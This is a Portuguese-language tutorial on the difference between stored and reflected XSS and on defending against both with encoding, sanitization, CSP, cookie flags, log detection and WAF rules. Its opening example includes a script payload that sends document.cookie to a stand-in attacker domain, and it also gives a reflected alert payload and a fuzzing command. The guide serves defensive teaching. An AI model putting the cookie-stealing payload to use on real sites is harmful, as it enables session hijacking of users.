XSS armazenado vs refletido: técnicas de mitigação avançadas
1. Fundamentos e Diferenciação entre XSS Armazenado e Refletido
1.1. Mecanismo de injeção: persistência no servidor vs. reflexão imediata na requisição
O XSS armazenado (persistente) ocorre quando o payload malicioso é permanentemente armazenado no servidor — em bancos de dados, sistemas de arquivos ou logs — e posteriormente servido a usuários que acessam o conteúdo. Já o XSS refletido (não persistente) depende de uma requisição imediata: o payload é enviado via parâmetros URL, campos de formulário ou cabeçalhos HTTP e refletido na resposta sem qualquer armazenamento intermediário.
Exemplo de XSS armazenado (comentário em blog):
<form action="/comentario" method="POST">
<textarea name="mensagem"><script>fetch('https://atacante.com/roubar?cookie='+document.cookie)</script></textarea>
<input type="submit" value="Enviar">
</form>
Exemplo de XSS refletido (parâmetro de busca):
https://site.com/busca?q=<script>alert('XSS')</script>
1.2. Superfícies de ataque típicas
- XSS armazenado: formulários de comentários, perfis de usuário, campos de feedback, sistemas de mensagens, fóruns, editores rich text, logs de aplicação.
- XSS refletido: parâmetros de URL em páginas de busca, redirecionamentos, mensagens de erro, campos de formulário que ecoam o valor submetido, cabeçalhos HTTP refletidos.
1.3. Impacto e alcance
O XSS armazenado possui potencial de infecção massiva: qualquer usuário que visualize a página contaminada é afetado, sem necessidade de interação adicional. O XSS refletido exige engenharia social — a vítima precisa clicar em um link malicioso ou submeter um formulário manipulado —, mas ainda assim pode comprometer sessões e dados sensíveis.
2. Mitigação no Backend: Sanitização e Validação de Entrada
2.1. Estratégias de encoding contextual
Cada contexto de saída exige um tipo específico de encoding:
- HTML entity encoding: converter
<,>,&,",'em<,>,&,",'para conteúdo dentro de tags HTML. - JavaScript encoding: escapar caracteres especiais como
\,',",\npara strings em contextos JavaScript. - CSS encoding: escapar valores inseridos em propriedades CSS (ex:
url()). - URL encoding: codificar parâmetros com
encodeURIComponent().
Exemplo de encoding contextual em Python (Flask):
from flask import Flask, request, escape
app = Flask(__name__)
@app.route('/comentario', methods=['POST'])
def comentario():
mensagem = escape(request.form['mensagem']) # HTML entity encoding
salvar_no_banco(mensagem)
return 'Comentário salvo com segurança'
2.2. Uso de bibliotecas de sanitização
Bibliotecas como DOMPurify (JavaScript) e OWASP Java HTML Sanitizer permitem definir whitelists de tags e atributos permitidos, removendo qualquer elemento não autorizado.
Exemplo com DOMPurify (Node.js):
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const usuarioInput = '<script>alert("xss")</script><b>texto seguro</b>';
const limpo = DOMPurify.sanitize(usuarioInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: []
});
console.log(limpo); // <b>texto seguro</b>
2.3. Validação rigorosa de tipos e formatos
- Validar Content-Type esperado (ex:
application/jsonpara APIs). - Definir charset exclusivamente como UTF-8.
- Limitar tamanho máximo de campos (ex: 500 caracteres para comentários).
- Rejeitar caracteres de controle e sequências Unicode perigosas.
3. Mitigação no Frontend: Content Security Policy (CSP) Avançada
3.1. Configuração de CSP strict-dynamic e nonces
O CSP com strict-dynamic elimina a necessidade de whitelists de domínios, permitindo apenas scripts carregados via nonce ou hash.
Exemplo de cabeçalho CSP com nonce:
Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123' 'strict-dynamic'; object-src 'none'; base-uri 'none';
No HTML, o script confiável recebe o nonce correspondente:
<script nonce="abc123">
console.log('Script autorizado pelo CSP');
</script>
3.2. Uso de hashes para scripts e estilos confiáveis
Para conteúdo gerado pelo usuário que precisa incluir scripts inline, pode-se usar hashes SHA:
Content-Security-Policy: script-src 'sha256-ABC123DEF456...'
3.3. Monitoramento e relatório de violações
Configure report-uri ou report-to para receber relatórios de violações CSP:
Content-Security-Policy: ...; report-uri /csp-violation;
4. Proteção Específica para XSS Armazenado
4.1. Context-Aware Output Encoding
Template engines modernos como Twig (PHP), Jinja2 (Python) ou Handlebars (JavaScript) oferecem escape automático por contexto. Configure o engine para aplicar encoding baseado no contexto (HTML, atributo, JavaScript, CSS).
Exemplo com Jinja2 (Flask):
{{ usuario_input|e }} <!-- escape HTML padrão -->
{{ usuario_input|urlencode }} <!-- escape URL -->
4.2. Armazenamento seguro
Mantenha dados brutos e renderizados separados. Armazene a versão sanitizada em cache para evitar reprocessamento a cada requisição:
# Cache de versão sanitizada
cache.set(f"comentario_sanitizado_{id}", comentario_limpo, timeout=3600)
4.3. Auditoria contínua
Integre scanners de segurança (ex: OWASP ZAP, Burp Suite) ao pipeline CI/CD para detectar XSS armazenado automaticamente:
# Exemplo de comando para scan via OWASP ZAP
zap-cli quick-scan --spider https://site.com --ajax-spider
5. Proteção Específica para XSS Refletido
5.1. Validação de parâmetros URL
Rejeite parâmetros que contenham padrões suspeitos ou fujam do formato esperado:
import re
def validar_parametro_busca(q):
if not re.match(r'^[a-zA-Z0-9\s\-_]{1,100}$', q):
return None # Rejeita parâmetro inválido
return escape(q)
5.2. Tokens anti-CSRF combinados com validação de origem
Para formulários que refletem dados, utilize tokens anti-CSRF e valide o cabeçalho Origin ou Referer:
<form action="/busca" method="GET">
<input type="hidden" name="csrf_token" value="token_seguro">
<input type="text" name="q">
<input type="submit">
</form>
5.3. HTTP-only cookies e SameSite strict
Configure cookies de sessão como HttpOnly e SameSite=Strict para impedir acesso via JavaScript e limitar envio a requisições de mesma origem:
Set-Cookie: session=abc123; HttpOnly; SameSite=Strict; Secure
6. Técnicas de Detecção e Prevenção em Tempo Real
6.1. Monitoramento de logs com detecção de padrões
Implemente detecção em logs de acesso usando regex ou modelos de machine learning:
import re
log_patterns = [
r'<script[^>]*>',
r'on\w+\s*=',
r'javascript\s*:',
r'<img[^>]*onerror',
]
def detectar_xss(log_line):
for pattern in log_patterns:
if re.search(pattern, log_line, re.IGNORECASE):
return True
return False
6.2. WAF com regras específicas
Configure regras no WAF (ex: ModSecurity, Cloudflare WAF) para bloquear payloads XSS conhecidos:
# Regra ModSecurity para XSS
SecRule ARGS "@rx <script[^>]*>" "id:1000,phase:2,deny,msg:'XSS detectado'"
6.3. Testes automatizados de penetração
Utilize ferramentas como OWASP ZAP ou Burp Suite para fuzzing de endpoints críticos:
# Comando para fuzzing com ffuf
ffuf -w payloads_xss.txt -u https://site.com/busca?q=FUZZ
7. Estratégias de Defesa em Camadas e Boas Práticas Finais
7.1. Defense in depth
Combine mitigação no cliente (CSP, encoding), servidor (sanitização, validação) e infraestrutura (WAF, logs). Nenhuma camada única é suficiente.
7.2. Revisão de dependências
Mantenha bibliotecas atualizadas e verifique vulnerabilidades XSS conhecidas via bancos como CVE e Snyk:
npm audit
7.3. Treinamento da equipe
Implemente Secure Coding Guidelines específicos para XSS, com exemplos práticos de encoding, sanitização e CSP. Realize revisões de código focadas em contextos de saída.
Referências
- OWASP XSS Prevention Cheat Sheet — Guia oficial da OWASP com regras detalhadas de prevenção contra XSS, incluindo encoding contextual e regras de CSP.
- Content Security Policy (CSP) - MDN Web Docs — Documentação completa sobre CSP, com exemplos de nonces, hashes e strict-dynamic.
- DOMPurify - Biblioteca de Sanitização — Repositório oficial da biblioteca DOMPurify, amplamente utilizada para sanitizar HTML de entrada do usuário.
- OWASP Java HTML Sanitizer — Projeto OWASP para sanitização de HTML em aplicações Java, com suporte a whitelists configuráveis.
- PortSwigger - Cross-Site Scripting (XSS) Cheat Sheet — Guia prático do Burp Suite com payloads XSS e técnicas de bypass, útil para testes de penetração.
- CSP Evaluator - Google — Ferramenta online para avaliar e corrigir políticas CSP, recomendada para auditoria de configurações.
- OWASP Testing Guide - XSS Testing — Guia de testes da OWASP para XSS refletido e armazenado, com metodologias e exemplos práticos.